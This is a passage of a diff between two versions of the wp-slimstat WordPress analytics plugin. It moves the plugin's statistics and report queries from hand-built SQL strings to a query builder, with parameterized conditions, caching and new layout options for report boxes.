self::$filters_normalized['misc']['start_from'],\n-            self::$filters_normalized['misc']['limit_results']\n-        );\n-        return self::get_results($sql, $_args['group_by'], $_args['group_by'] . ' ASC');\n+        $table = $GLOBALS['wpdb']->prefix . 'slim_stats';\n+        $query = Query::select([\n+            $_args['group_by'],\n+            'COUNT(*) AS counthits',\n+            sprintf(\"GROUP_CONCAT( DISTINCT %s SEPARATOR ';;;' ) as column_group\", $_args['column_group'])\n+        ])->from($table);\n+\n+        \u002F\u002F Add date filters if needed\n+        if (!empty(self::$filters_normalized['utime']['start']) && !empty(self::$filters_normalized['utime']['end'])) {\n+            $query->where('dt', 'BETWEEN', [intval(self::$filters_normalized['utime']['start']), intval(self::$filters_normalized['utime']['end'])]);\n+        }\n+\n+        \u002F\u002F Add other filters\n+        if (!empty(self::$filters_normalized['columns'])) {\n+            $where_clause = self::_get_sql_where(self::$filters_normalized['columns']);\n+            if (!empty($where_clause)) {\n+                $query->whereRaw($where_clause);\n+            }\n+        }\n+\n+        \u002F\u002F Add IS NOT NULL condition\n+        $query->where($_args['group_by'], 'IS NOT', null);\n+\n+        \u002F\u002F GROUP BY\n+        $query->groupBy($_args['group_by']);\n+\n+        \u002F\u002F ORDER BY\n+        $query->orderBy('counthits DESC');\n+\n+        \u002F\u002F LIMIT\n+        $start_from = intval(self::$filters_normalized['misc']['start_from']);\n+        $limit_results = intval(self::$filters_normalized['misc']['limit_results']);\n+        $page = ($start_from \u002F $limit_results) + 1;\n+        $query->perPage($page, $limit_results);\n+\n+        $query->allowCaching(true);\n+        return $query->getAll();\n     }\n \n     public static function get_max_and_average_pages_per_visit()\n     {\n         $where = self::get_combined_where('visit_id > 0');\n+        $table = $GLOBALS['wpdb']->prefix . 'slim_stats';\n \n-        return self::get_results(\n-            \"\n-\t\t\tSELECT AVG(ts1.counthits) AS avghits, MAX(ts1.counthits) AS maxhits FROM (\n-\t\t\t\tSELECT count(ip) counthits, visit_id\n-\t\t\t\tFROM {$GLOBALS['wpdb']->prefix}slim_stats\n-\t\t\t\tWHERE {$where}\n-\t\t\t\tGROUP BY visit_id\n-\t\t\t) AS ts1\",\n-            'blog_id',\n-            '',\n-            '',\n-            'AVG(avghits) AS avghits, MAX(maxhits) AS maxhits'\n-        );\n+        $subQuery = sprintf('SELECT count(ip) counthits, visit_id FROM %s WHERE %s GROUP BY visit_id', $table, $where);\n+\n+        $query = Query::select('AVG(ts1.counthits) AS avghits, MAX(ts1.counthits) AS maxhits')\n+            ->from(sprintf('(%s) AS ts1', $subQuery));\n+\n+        self::maybe_enable_query_cache($query);\n+        return $query->getAll();\n     }\n \n     public static function get_oldest_visit()\n     {\n-        return self::get_var(\n-            \"\n-\t\t\tSELECT dt\n-\t\t\tFROM {$GLOBALS['wpdb']->prefix}slim_stats\n-\t\t\tORDER BY dt ASC\n-\t\t\tLIMIT 0, 1\",\n-            'MIN(dt)'\n-        );\n+        $table = $GLOBALS['wpdb']->prefix . 'slim_stats';\n+        $query = Query::select('dt')->from($table)->orderBy('dt', 'ASC')->limit(1);\n+        $query->allowCaching(true, DAY_IN_SECONDS);\n+        return $query->getVar();\n     }\n \n     public static function get_overview_summary()\n@@ -823,8 +1053,6 @@\n \n     public static function get_recent($_column = 'id', $_where = '', $_having = '', $_use_date_filters = true, $_as_column = '', $_more_columns = '', $_order_by = 'dt DESC')\n     {\n-        global $wpdb;\n-        \u002F\u002F This function can be passed individual arguments, or an array of arguments\n         if (is_array($_column)) {\n             $_where            = empty($_column['where']) ? '' : $_column['where'];\n             $_having           = empty($_column['having']) ? '' : $_column['having'];\n@@ -835,54 +1063,67 @@\n             $_column           = $_column['columns'];\n         }\n \n-        $columns = $_column;\n+        $columns = ('*' === $_column)\n+            ? ['id', 'ip', 'dt', 'username', 'referer', 'resource', 'browser', 'platform', 'country', 'city', 'content_type', 'notes', 'visit_id', 'server_latency', 'page_performance', 'browser_version', 'browser_type', 'language', 'fingerprint', 'user_agent', 'resolution', 'screen_width', 'screen_height', 'category', 'author', 'content_id', 'outbound_resource', 'tz_offset', 'dt_out']\n+            : array_map('trim', explode(',', $_column));\n         if (!empty($_as_column)) {\n-            $columns = sprintf('%s AS %s', $_column, $_as_column);\n+            $columns[0] = $columns[0] . ' AS ' . $_as_column;\n         }\n \n-        \u002F\u002F Add the IP column, used to display details about that visit\n-        if ('ip' != $_column) {\n-            $columns .= ', ip';\n+        if (!empty($_more_columns)) {\n+            $more_cols = array_map('trim', explode(',', $_more_columns));\n+            $columns   = array_merge($columns, $more_cols);\n         }\n \n-        if ('*' != $_column) {\n-            $columns .= ', dt';\n-            $group_by = 'GROUP BY ' . $_column;\n-        } else {\n-            $columns  = 'id, ip, other_ip, username, email, country, city, location, referer, resource, searchterms, notes, visit_id, server_latency, page_performance, browser, browser_version, browser_type, platform, language, fingerprint, user_agent, resolution, screen_width, screen_height, content_type, category, author, content_id, outbound_resource, tz_offset, dt_out, dt';\n-            $group_by = '';\n+        if (!in_array('dt', $columns)) {\n+            $columns[] = 'dt';\n         }\n \n-        if (!empty($_more_columns)) {\n-            $columns .= ', ' . $_more_columns;\n+        if (!in_array('ip', $columns)) {\n+            $columns[] = 'ip';\n         }\n \n-        $_where = self::get_combined_where($_where, $_column, $_use_date_filters);\n+        $table = $GLOBALS['wpdb']->prefix . 'slim_stats';\n+        $query = Query::select(implode(', ', $columns))->from($table);\n+\n+        \u002F\u002F Always add date filter as a proper where() clause so placeholders are replaced\n+        if ($_use_date_filters && !empty(self::$filters_normalized['utime']['start']) && !empty(self::$filters_normalized['utime']['end']) && !$query->hasWhereClause('dt', 'BETWEEN')) {\n+            $query->where('dt', 'BETWEEN', [intval(self::$filters_normalized['utime']['start']), intval(self::$filters_normalized['utime']['end'])]);\n+        }\n+\n+        \u002F\u002F Apply active column filters (e.g., browser equals Chrome) using the existing normalization logic\n+        if (!empty(self::$filters_normalized['columns'])) {\n+            $normalized_where = self::_get_sql_where(self::$filters_normalized['columns']);\n+            if (!empty($normalized_where)) {\n+                $query->whereRaw($normalized_where);\n+            }\n+        }\n+\n+        \u002F\u002F Only add additional non-parameterized conditions passed via $_where\n+        if (!empty($_where)) {\n+            $query->whereRaw($_where);\n+        }\n+\n+        \u002F\u002F HAVING\n+        if (!empty($_having)) {\n+\t\t\t$query->havingRaw($_having);\n+        }\n \n-        \u002F\u002F Sanitize and protect WHERE clause\n-        if (false !== strpos($_where, 'OR') && false === strpos($_where, '(')) {\n-            $_where = '(' . $_where . ')';\n+        \u002F\u002F ORDER BY\n+        if (!empty($_order_by)) {\n+            $query->orderBy($_order_by);\n         }\n \n+        \u002F\u002F LIMIT\n         $start = max(0, intval(self::$filters_normalized['misc']['start_from']));\n         $limit = max(1, intval(self::$filters_normalized['misc']['limit_results']));\n+        $query->limit(sprintf('%d OFFSET %d', $limit, $start));\n \n-        \u002F\u002F Prepare the query\n-        $sql = $wpdb->prepare(\n-            \"\n-            SELECT {$columns}\n-            FROM {$wpdb->prefix}slim_stats\n-            WHERE [[_WHERE_]]\n-            {$group_by}\n-            ORDER BY {$_order_by}\n-            LIMIT %d, %d\",\n-            $start,\n-            $limit\n-        );\n+        $query->allowCaching(false);\n \n-        $sql = str_replace('[[_WHERE_]]', $_where, $sql);\n \n-        return self::get_results($sql, $columns, 'dt DESC');\n+\n+        return $query->getAll();\n     }\n \n     public static function get_recent_events()\n@@ -904,10 +1145,9 @@\n         $clean_outbound_resources = [];\n \n         foreach ($mixed_outbound_resources as $a_mixed_resource) {\n-            $exploded_resources = explode(';;;', $a_mixed_resource['outbound_resource']);\n+            $exploded_resources = explode(';;;', $a_mixed_resource['outbound_resource'] ?? '');\n             foreach ($exploded_resources as $a_exploded_resource) {\n-                $a_mixed_resource['outbound_resource'] = $a_exploded_resource;\n-                $clean_outbound_resources[]            = $a_mixed_resource;\n+                $clean_outbound_resources[] = $a_exploded_resource;\n             }\n         }\n \n@@ -916,11 +1156,19 @@\n \n     public static function get_top($_column = 'id', $_where = '', $_having = '', $_use_date_filters = true, $_as_column = '')\n     {\n-        global $wpdb;\n-\n         \u002F\u002F This function can be passed individual arguments, or an array of arguments\n         if (is_array($_column)) {\n-            $_where            = empty($_column['where']) ? '' : $_column['where'];\n+            $where_params = !empty($_column['where_params']) ? $_column['where_params'] : [];\n+            $_where       = !empty($_column['where']) ? $_column['where'] : '';\n+\n+\t\t\tif (\n+\t\t\t\t!empty($_where)\n+\t\t\t\t&& !empty($where_params)\n+\t\t\t\t&& (false !== strpos($_where, '%s') || false !== strpos($_where, '%d') || false !== strpos($_where, '%f'))\n+\t\t\t) {\n+\t\t\t\t$_where = is_array($where_params) ? $GLOBALS['wpdb']->prepare($_where, ...$where_params) : $GLOBALS['wpdb']->prepare($_where, $where_params);\n+\t\t\t}\n+\n             $_having           = empty($_column['having']) ? '' : $_column['having'];\n             $_use_date_filters = empty($_column['use_date_filters']) ? true : $_column['use_date_filters'];\n             $_as_column        = empty($_column['as_column']) ? '' : $_column['as_column'];\n@@ -935,36 +1183,46 @@\n             $_as_column = $_column;\n         }\n \n-        $_where = self::get_combined_where($_where, $_as_column, $_use_date_filters);\n+        $table = $GLOBALS['wpdb']->prefix . 'slim_stats';\n+        $query = Query::select([$_column, 'COUNT(*) AS counthits'])->from($table);\n \n-        $column        = $_column;\n-        $where_clause  = $_where;\n-        $group_by      = $group_by_column;\n-        $having_clause = $_having;\n-        $start_from    = intval(self::$filters_normalized['misc']['start_from']);\n-        $limit_results = intval(self::$filters_normalized['misc']['limit_results']);\n+        \u002F\u002F Add date filters if needed\n+        if ($_use_date_filters && !empty(self::$filters_normalized['utime']['start']) && !empty(self::$filters_normalized['utime']['end'])) {\n+            $query->where('dt', 'BETWEEN', [intval(self::$filters_normalized['utime']['start']), intval(self::$filters_normalized['utime']['end'])]);\n+        }\n \n-        $sql = \"\n-            SELECT {$column}, COUNT(*) AS counthits\n-            FROM {$wpdb->prefix}slim_stats\n-            WHERE [[_WHERE_]]\n-            GROUP BY {$group_by}\n-            {$having_clause}\n-            ORDER BY counthits DESC\n-            LIMIT %d, %d\n-        \";\n+        \u002F\u002F Add custom where clause\n+        if (!empty($_where)) {\n+            $query->whereRaw($_where);\n+        }\n \n-        $prepared_sql = $wpdb->prepare($sql, $start_from, $limit_results);\n+        \u002F\u002F Add other filters\n+        if (!empty(self::$filters_normalized['columns'])) {\n+            $where_clause = self::_get_sql_where(self::$filters_normalized['columns']);\n+            if (!empty($where_clause)) {\n+                $query->whereRaw($where_clause);\n+            }\n+        }\n \n-        $prepared_sql = str_replace('[[_WHERE_]]', $where_clause, $prepared_sql);\n+        \u002F\u002F GROUP BY\n+        $query->groupBy($group_by_column);\n \n-        return self::get_results(\n-            $prepared_sql,\n-            (!empty($_as_column) && $_as_column != $_column) ? $_as_column : $_column,\n-            'counthits DESC',\n-            (!empty($_as_column) && $_as_column != $_column) ? $_as_column : $_column,\n-            'SUM(counthits) AS counthits'\n-        );\n+        \u002F\u002F HAVING\n+\t\tif (!empty($_having)) {\n+\t\t\t$query->havingRaw($_having);\n+\t\t}\n+\n+        \u002F\u002F ORDER BY\n+        $query->orderBy('counthits DESC');\n+\n+        \u002F\u002F LIMIT\n+        $start_from = intval(self::$filters_normalized['misc']['start_from']);\n+        $limit_results = intval(self::$filters_normalized['misc']['limit_results']);\n+        $page = ($start_from \u002F $limit_results) + 1;\n+        $query->perPage($page, $limit_results);\n+\n+        $query->allowCaching(true);\n+        return $query->getAll();\n     }\n \n     public static function get_top_aggr($_column = 'id', $_where = '', $_outer_select_column = '', $_aggr_function = 'MAX')\n@@ -986,48 +1244,41 @@\n         }\n \n         $_where = self::get_combined_where($_where, $_column);\n+        $table  = $GLOBALS['wpdb']->prefix . 'slim_stats';\n \n-        \u002F\u002F prepare the query\n-        $sql = $GLOBALS['wpdb']->prepare(\n-            \"\n-\t\t\tSELECT {$_outer_select_column}, ts1.aggrid as {$_column}, COUNT(*) counthits\n-\t\t\tFROM (\n-\t\t\t\tSELECT {$_column}, {$_aggr_function}(id) aggrid\n-\t\t\t\tFROM {$GLOBALS['wpdb']->prefix}slim_stats\n-\t\t\t\tWHERE {$_where}\n-\t\t\t\tGROUP BY {$_column}\n-\t\t\t) AS ts1 JOIN {$GLOBALS['wpdb']->prefix}slim_stats t1 ON ts1.aggrid = t1.id\n-\t\t\tGROUP BY {$_outer_select_column}\n-\t\t\tORDER BY counthits DESC\n-\t\t\tLIMIT %d, %d\",\n-            self::$filters_normalized['misc']['start_from'],\n-            self::$filters_normalized['misc']['limit_results']\n-        );\n-        return self::get_results($sql, $_outer_select_column, 'counthits DESC', $_outer_select_column, $_aggr_function . '(aggrid), SUM(counthits)');\n+\t\t$subQuerySql = sprintf('SELECT %s, %s(id) as aggrid FROM %s WHERE %s GROUP BY %s', $_column, $_aggr_function, $table, $_where, $_column);\n+\n+\t\t$query = Query::select(sprintf('%s, ts1.aggrid as %s, COUNT(*) as counthits', $_outer_select_column, $_column))\n+\t\t\t->from(sprintf('(%s) AS ts1', $subQuerySql))\n+            ->join($table . ' t1', 'ts1.aggrid', 't1.id')\n+            ->groupBy($_outer_select_column)\n+            ->orderBy('counthits DESC')\n+            ->perPage(self::$filters_normalized['misc']['start_from'], self::$filters_normalized['misc']['limit_results']);\n+\n+        self::maybe_enable_query_cache($query);\n+        return $query->getAll();\n     }\n \n     public static function get_top_events()\n     {\n+        $table_events = $GLOBALS['wpdb']->prefix . 'slim_events';\n+        $table_stats  = $GLOBALS['wpdb']->prefix . 'slim_stats';\n+\n         if (empty(self::$filters_normalized['columns'])) {\n-            $from  = $GLOBALS['wpdb']->prefix . 'slim_events te';\n-            $where = wp_slimstat_db::get_combined_where('notes NOT LIKE \"type:click%\"', 'notes');\n+            $query = Query::select('te.notes, COUNT(*) as counthits')\n+                ->from($table_events . ' te')\n+                ->whereRaw(wp_slimstat_db::get_combined_where('notes NOT LIKE \"type:click%\"', 'notes'));\n         } else {\n-            $from  = sprintf('%sslim_events te INNER JOIN %sslim_stats t1 ON te.id = t1.id', $GLOBALS['wpdb']->prefix, $GLOBALS['wpdb']->prefix);\n-            $where = wp_slimstat_db::get_combined_where('te.notes NOT LIKE \"_ype:click%\"', 'te.notes', true, 't1');\n+            $query = Query::select('te.notes, COUNT(*) as counthits')\n+                ->from($table_events . ' te')\n+                ->join($table_stats . ' t1', 'te.id', 't1.id')\n+                ->whereRaw(wp_slimstat_db::get_combined_where('te.notes NOT LIKE \"_ype:click%\"', 'te.notes', true, 't1'));\n         }\n \n-        return self::get_results(\n-            \"\n-\t\t\tSELECT te.notes, COUNT(*) counthits\n-\t\t\tFROM {$from}\n-\t\t\tWHERE {$where}\n-\t\t\tGROUP BY te.notes\n-\t\t\tORDER BY counthits DESC\",\n-            'notes',\n-            'counthits DESC',\n-            'notes',\n-            'SUM(counthits) AS counthits'\n-        );\n+        $query->groupBy('te.notes')->orderBy('counthits DESC');\n+\n+        self::maybe_enable_query_cache($query);\n+        return $query->getAll();\n     }\n \n     public static function get_top_outbound()\n@@ -1036,7 +1287,7 @@\n         $clean_outbound_resources = [];\n \n         foreach ($mixed_outbound_resources as $a_mixed_resource) {\n-            $exploded_resources = explode(';;;', $a_mixed_resource['outbound_resource']);\n+            $exploded_resources = explode(';;;', $a_mixed_resource['outbound_resource'] ?? '');\n             foreach ($exploded_resources as $a_exploded_resource) {\n                 $clean_outbound_resources[] = $a_exploded_resource;\n             }\n@@ -1073,7 +1324,7 @@\n         $results[0]['tooltip'] = __('A pageview is a request to load a single HTML page on your website.', 'wp-slimstat');\n \n         $results[1]['metric']  = __('Unique Referrers', 'wp-slimstat');\n-        $results[1]['value']   = number_format_i18n(wp_slimstat_db::count_records('referer', sprintf(\"referer NOT LIKE '%%%s%%'\", $server_name)));\n+        $results[1]['value']   = number_format_i18n(wp_slimstat_db::count_records('referer', 'referer NOT LIKE %s', true, ['%' . $GLOBALS['wpdb']->esc_like($server_name) . '%']));\n         $results[1]['tooltip'] = __('A referrer (or referring site) is a site that a visitor previously visited before following a link to your site.', 'wp-slimstat');\n \n         $results[2]['metric']  = __('Direct Pageviews', 'wp-slimstat');\n@@ -1081,7 +1332,7 @@\n         $results[2]['tooltip'] = __(\"Visitors who typed your website URL directly into their browser address bar. It can also refer to visitors who clicked on one of their bookmarked links, untagged links within emails, or links in documents that don't include tracking variables.\", 'wp-slimstat');\n \n         $results[3]['metric']  = __('From External SERP', 'wp-slimstat');\n-        $results[3]['value']   = number_format_i18n(wp_slimstat_db::count_records('id', \"searchterms IS NOT NULL AND referer IS NOT NULL AND referer NOT LIKE '%\" . home_url() . \"%'\"));\n+        $results[3]['value']   = number_format_i18n(wp_slimstat_db::count_records('id', 'searchterms IS NOT NULL AND referer IS NOT NULL AND referer NOT LIKE %s', true, ['%' . $GLOBALS['wpdb']->esc_like(home_url()) . '%']));\n         $results[3]['tooltip'] = __('Visitors who clicked on a link to your website listed on a search engine result page (SERP). This metric only counts visits coming from EXTERNAL search pages.', 'wp-slimstat');\n \n         $results[4]['metric']  = __('Unique Landing Pages', 'wp-slimstat');\n@@ -1097,7 +1348,7 @@\n         $results[6]['tooltip'] = __('Percentage of single-page visits, i.e. visits in which the person left your site from the entrance page.', 'wp-slimstat');\n \n         $results[7]['metric']  = __('Currently from search engines', 'wp-slimstat');\n-        $results[7]['value']   = number_format_i18n(wp_slimstat_db::count_records('id', \"searchterms IS NOT NULL  AND referer IS NOT NULL AND referer NOT LIKE '%\" . home_url() . \"%' AND dt > UNIX_TIMESTAMP() - 300\", false));\n+        $results[7]['value']   = number_format_i18n(wp_slimstat_db::count_records('id', 'searchterms IS NOT NULL  AND referer IS NOT NULL AND referer NOT LIKE %s AND dt > UNIX_TIMESTAMP() - 300', false, ['%' . $GLOBALS['wpdb']->esc_like(home_url()) . '%']));\n         $results[7]['tooltip'] = __('Visitors who clicked on a link to your website listed on a search engine result page (SERP), tracked in the last 5 minutes.', 'wp-slimstat');\n \n         return $results;\n@@ -1215,32 +1466,35 @@\n     public static function get_your_blog()\n     {\n         if (false === ($results = get_transient('slimstat_your_content'))) {\n-            $results = [];\n+            $results      = [];\n+            $posts_table  = $GLOBALS['wpdb']->posts;\n+            $comments_table = $GLOBALS['wpdb']->comments;\n+            $slim_stats_table = $GLOBALS['wpdb']->prefix . 'slim_stats';\n \n             $results[0]['metric']  = __('Content Items', 'wp-slimstat');\n-            $results[0]['value']   = number_format_i18n($GLOBALS['wpdb']->get_var(sprintf(\"SELECT COUNT(*) FROM %s WHERE post_type \u003C> 'revision' AND post_status \u003C> 'auto-draft'\", $GLOBALS['wpdb']->posts)));\n+            $results[0]['value']   = number_format_i18n(Query::select('COUNT(*)')->from($posts_table)->where('post_type', '!=', 'revision')->where('post_status', '!=', 'auto-draft')->getVar());\n             $results[0]['tooltip'] = __('This value includes not only posts and pages, but any custom post type, regardless of their status.', 'wp-slimstat');\n \n             $results[1]['metric'] = __('Posts', 'wp-slimstat');\n-            $results[1]['value']  = $GLOBALS['wpdb']->get_var(sprintf(\"SELECT COUNT(*) FROM %s WHERE post_type = 'post'\", $GLOBALS['wpdb']->posts));\n+            $results[1]['value']  = Query::select('COUNT(*)')->from($posts_table)->where('post_type', '=', 'post')->getVar();\n \n             $results[2]['metric'] = __('Pages', 'wp-slimstat');\n-            $results[2]['value']  = number_format_i18n($GLOBALS['wpdb']->get_var(sprintf(\"SELECT COUNT(*) FROM %s WHERE post_type = 'page'\", $GLOBALS['wpdb']->posts)));\n+            $results[2]['value']  = number_format_i18n(Query::select('COUNT(*)')->from($posts_table)->where('post_type', '=', 'page')->getVar());\n \n             $results[3]['metric'] = __('Attachments', 'wp-slimstat');\n-            $results[3]['value']  = number_format_i18n($GLOBALS['wpdb']->get_var(sprintf(\"SELECT COUNT(*) FROM %s WHERE post_type = 'attachment'\", $GLOBALS['wpdb']->posts)));\n+            $results[3]['value']  = number_format_i18n(Query::select('COUNT(*)')->from($posts_table)->where('post_type', '=', 'attachment')->getVar());\n \n             $results[4]['metric'] = __('Revisions', 'wp-slimstat');\n-            $results[4]['value']  = number_format_i18n($GLOBALS['wpdb']->get_var(sprintf(\"SELECT COUNT(*) FROM %s WHERE post_type = 'revision'\", $GLOBALS['wpdb']->posts)));\n+            $results[4]['value']  = number_format_i18n(Query::select('COUNT(*)')->from($posts_table)->where('post_type', '=', 'revision')->getVar());\n \n             $results[5]['metric'] = __('Comments', 'wp-slimstat');\n-            $results[5]['value']  = $GLOBALS['wpdb']->get_var('SELECT COUNT( * ) FROM ' . $GLOBALS[ 'wpdb' ]->comments);\n+            $results[5]['value']  = Query::select('COUNT(*)')->from($comments_table)->getVar();\n \n             $results[6]['metric'] = __('Avg Comments per Post', 'wp-slimstat');\n             $results[6]['value']  = empty($results[1]['value']) ? 0 : number_format_i18n($results[5]['value'] \u002F $results[1]['value']);\n \n             $results[7]['metric']  = __('Avg Server Latency', 'wp-slimstat');\n-            $results[7]['value']   = number_format_i18n(wp_slimstat::$wpdb->get_var(sprintf('SELECT AVG(server_latency) FROM %sslim_stats WHERE server_latency \u003C> 0', $GLOBALS[ 'wpdb' ]->prefix)));\n+            $results[7]['value']   = number_format_i18n(Query::select('AVG(server_latency)')->from($slim_stats_table)->where('server_latency', '!=', 0)->getVar());\n             $results[7]['tooltip'] = __('Latency is the amount of time it takes for the host server to receive and process a request for a page object. The amount of latency depends largely on how far away the user is from the server.', 'wp-slimstat');\n \n             $results[1]['value'] = number_format_i18n($results[1]['value']);\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fadmin\u002Fview\u002Fwp-slimstat-reports.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fadmin\u002Fview\u002Fwp-slimstat-reports.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fadmin\u002Fview\u002Fwp-slimstat-reports.php\t2025-12-31 08:45:54.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fadmin\u002Fview\u002Fwp-slimstat-reports.php\t2026-03-08 13:29:08.000000000 +0000\n@@ -122,7 +122,7 @@\n                     ],\n                     'chart_labels' => [\n                         __('Pageviews', 'wp-slimstat'),\n-                        __('Unique IPs', 'wp-slimstat'),\n+                        (('on' == (wp_slimstat::$settings['hash_ip'] ?? 'off')) ? __('Unique Visitors', 'wp-slimstat') : __('Unique IPs', 'wp-slimstat')),\n                     ],\n                 ],\n                 'classes'   => ['extralarge', 'chart'],\n@@ -144,7 +144,7 @@\n                 'callback_args' => [\n                     'type'             => 'recent',\n                     'columns'          => 'ip',\n-                    'where'            => '(dt_out > ' . (date_i18n('U') - 300) . ' OR dt > ' . (date_i18n('U') - 300) . ')',\n+                    'where'            => '(dt_out > ' . (date_i18n('U') - 300) . ') OR (dt > ' . (date_i18n('U') - 300) . ')',\n                     'use_date_filters' => false,\n                     'raw'              => ['wp_slimstat_db', 'get_recent'],\n                 ],\n@@ -181,12 +181,13 @@\n                 'title'         => __('Top Referring Domains', 'wp-slimstat'),\n                 'callback'      => [self::class, 'raw_results_to_html'],\n                 'callback_args' => [\n-                    'type'      => 'top',\n-                    'columns'   => 'REPLACE( SUBSTRING_INDEX( ( SUBSTRING_INDEX( ( SUBSTRING_INDEX( referer, \":\u002F\u002F\", -1 ) ), \"\u002F\", 1 ) ), \".\", -5 ), \"www.\", \"\" )',\n-                    'as_column' => 'referer',\n-                    'filter_op' => 'contains',\n-                    'where'     => 'referer NOT LIKE \"%' . str_replace('www.', '', parse_url(home_url(), PHP_URL_HOST)) . '%\"',\n-                    'raw'       => ['wp_slimstat_db', 'get_top'],\n+                    'type'         => 'top',\n+                    'columns'      => 'REPLACE( SUBSTRING_INDEX( ( SUBSTRING_INDEX( ( SUBSTRING_INDEX( referer, \":\u002F\u002F\", -1 ) ), \"\u002F\", 1 ) ), \".\", -5 ), \"www.\", \"\" )',\n+                    'as_column'    => 'referer',\n+                    'filter_op'    => 'contains',\n+                    'where'        => 'referer NOT LIKE %s',\n+                    'where_params' => ['%' . str_replace('www.', '', parse_url(home_url(), PHP_URL_HOST)) . '%'],\n+                    'raw'          => ['wp_slimstat_db', 'get_top'],\n                 ],\n                 'classes'   => ['normal'],\n                 'locations' => ['slimview2', 'slimview5', 'dashboard'],\n@@ -254,9 +255,10 @@\n                 'title'         => __('Users Currently Online', 'wp-slimstat'),\n                 'callback'      => [self::class, 'raw_results_to_html'],\n                 'callback_args' => [\n-                    'type'             => 'recent',\n-                    'columns'          => 'username',\n-                    'where'            => 'dt_out > ' . (date_i18n('U') - 300) . ' OR dt > ' . (date_i18n('U') - 300),\n+                    'type'    => 'recent',\n+                    'columns' => 'username',\n+                    \u002F\u002F Group OR conditions explicitly to help MySQL use indexes effectively\n+                    'where'            => '(dt_out > ' . (date_i18n('U') - 300) . ') OR (dt > ' . (date_i18n('U') - 300) . ')',\n                     'use_date_filters' => false,\n                     'raw'              => ['wp_slimstat_db', 'get_recent'],\n                 ],\n@@ -599,10 +601,11 @@\n                 'title'         => __('Recent Feeds', 'wp-slimstat'),\n                 'callback'      => [self::class, 'raw_results_to_html'],\n                 'callback_args' => [\n-                    'type'    => 'recent',\n-                    'columns' => 'resource',\n-                    'where'   => '(resource LIKE \"%\u002Ffeed%\" OR resource LIKE \"%?feed=>%\" OR resource LIKE \"%&feed=>%\" OR content_type LIKE \"%feed%\")',\n-                    'raw'     => ['wp_slimstat_db', 'get_recent'],\n+                    'type'         => 'recent',\n+                    'columns'      => 'resource',\n+                    'where'        => '(resource LIKE %s OR resource LIKE %s OR resource LIKE %s OR content_type LIKE %s)',\n+                    'where_params' => ['%\u002Ffeed%', '%?feed=>%', '%&feed=>%', '%feed%'],\n+                    'raw'          => ['wp_slimstat_db', 'get_recent'],\n                 ],\n                 'classes'   => ['normal'],\n                 'locations' => ['inactive'],\n@@ -623,10 +626,11 @@\n                 'title'         => __('Recent Internal Searches', 'wp-slimstat'),\n                 'callback'      => [self::class, 'raw_results_to_html'],\n                 'callback_args' => [\n-                    'type'    => 'recent',\n-                    'columns' => 'searchterms',\n-                    'where'   => 'content_type LIKE \"%%search%%\" AND searchterms \u003C> \"\" AND searchterms IS NOT NULL',\n-                    'raw'     => ['wp_slimstat_db', 'get_recent'],\n+                    'type'         => 'recent',\n+                    'columns'      => 'searchterms',\n+                    'where'        => 'content_type LIKE %s AND searchterms \u003C> \"\" AND searchterms IS NOT NULL',\n+                    'where_params' => ['%search%'],\n+                    'raw'          => ['wp_slimstat_db', 'get_recent'],\n                 ],\n                 'classes'   => ['normal'],\n                 'locations' => ['slimview4'],\n@@ -700,7 +704,8 @@\n                 'callback_args' => [\n                     'type'    => 'top',\n                     'columns' => 'searchterms',\n-                    'where'   => 'content_type LIKE \"%%search%%\" AND searchterms \u003C> \"\" AND searchterms IS NOT NULL',\n+                    'where'   => 'content_type LIKE %s AND searchterms \u003C> \"\" AND searchterms IS NOT NULL',\n+                    'where_params' => ['%search%'],\n                     'raw'     => ['wp_slimstat_db', 'get_top'],\n                 ],\n                 'classes'   => ['normal'],\n@@ -926,6 +931,9 @@\n             }\n         }\n \n+        \u002F\u002F Fire action hook for third-party integrations\n+        do_action('wp_slimstat_reports_init');\n+\n         \u002F\u002F We store page titles in a transient for improved performance\n         if (empty($_REQUEST['page']) || !in_array($_REQUEST['page'], ['slimlayout', 'slimadddons'])) {\n             self::$resource_titles = get_transient('slimstat_resource_titles');\n@@ -944,15 +952,41 @@\n             return false;\n         }\n \n+        \u002F\u002F Get postbox configuration\n+        $postbox_config = self::$reports[$_report_id]['postbox_config'] ?? [];\n+        $hide_header = $postbox_config['hide_header'] ?? false;\n+        $hide_padding = $postbox_config['hide_padding'] ?? false;\n+        $custom_height = $postbox_config['custom_height'] ?? null;\n+        $full_width = $postbox_config['full_width'] ?? false;\n+        $no_border = $postbox_config['no_border'] ?? false;\n+        $no_background = $postbox_config['no_background'] ?? false;\n+\n         $header_classes = empty(self::$reports[$_report_id]['classes']) ? '' : implode(' ', self::$reports[$_report_id]['classes']);\n         $fixed_title    = str_replace(['-', '_', '\"', \"'\", ')', '('], '', strtolower(self::$reports[$_report_id]['title']));\n         $header_classes .= ' report-' . implode('-', explode(' ', esc_attr($fixed_title)));\n+\n+        \u002F\u002F Add postbox configuration classes\n+        if ($hide_header) {\n+            $header_classes .= ' slimstat-hide-header';\n+        }\n+        if ($hide_padding) {\n+            $header_classes .= ' slimstat-hide-padding';\n+        }\n+        if ($full_width) {\n+            $header_classes .= ' slimstat-full-width';\n+        }\n+        if ($no_border) {\n+            $header_classes .= ' slimstat-no-border';\n+        }\n+        if ($no_background) {\n+            $header_classes .= ' slimstat-no-background';\n+        }\n         $header_buttons = '';\n         $header_tooltip = '';\n         $widget_title   = '';\n \n         \u002F\u002F Don't show the header buttons on the frontend\n-        if (is_admin()) {\n+        if (is_admin() && !$hide_header) {\n             \u002F\u002F Show the refresh button only if the time range is not in the past\n             if (wp_slimstat_db::$filters_normalized['utime']['end'] >= date_i18n('U') - 300) {\n                 $header_buttons = '\u003Ca class=\"noslimstat refresh\" title=\"' . __('Refresh', 'wp-slimstat') . '\" href=\"' . self::fs_url() . '\">\u003Csvg width=\"20\" height=\"20\" viewBox=\"0 0 20 20\" fill=\"none\" xmlns=\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\">\u003Cpath fill-rule=\"evenodd\" clip-rule=\"evenodd\" d=\"M2.44215 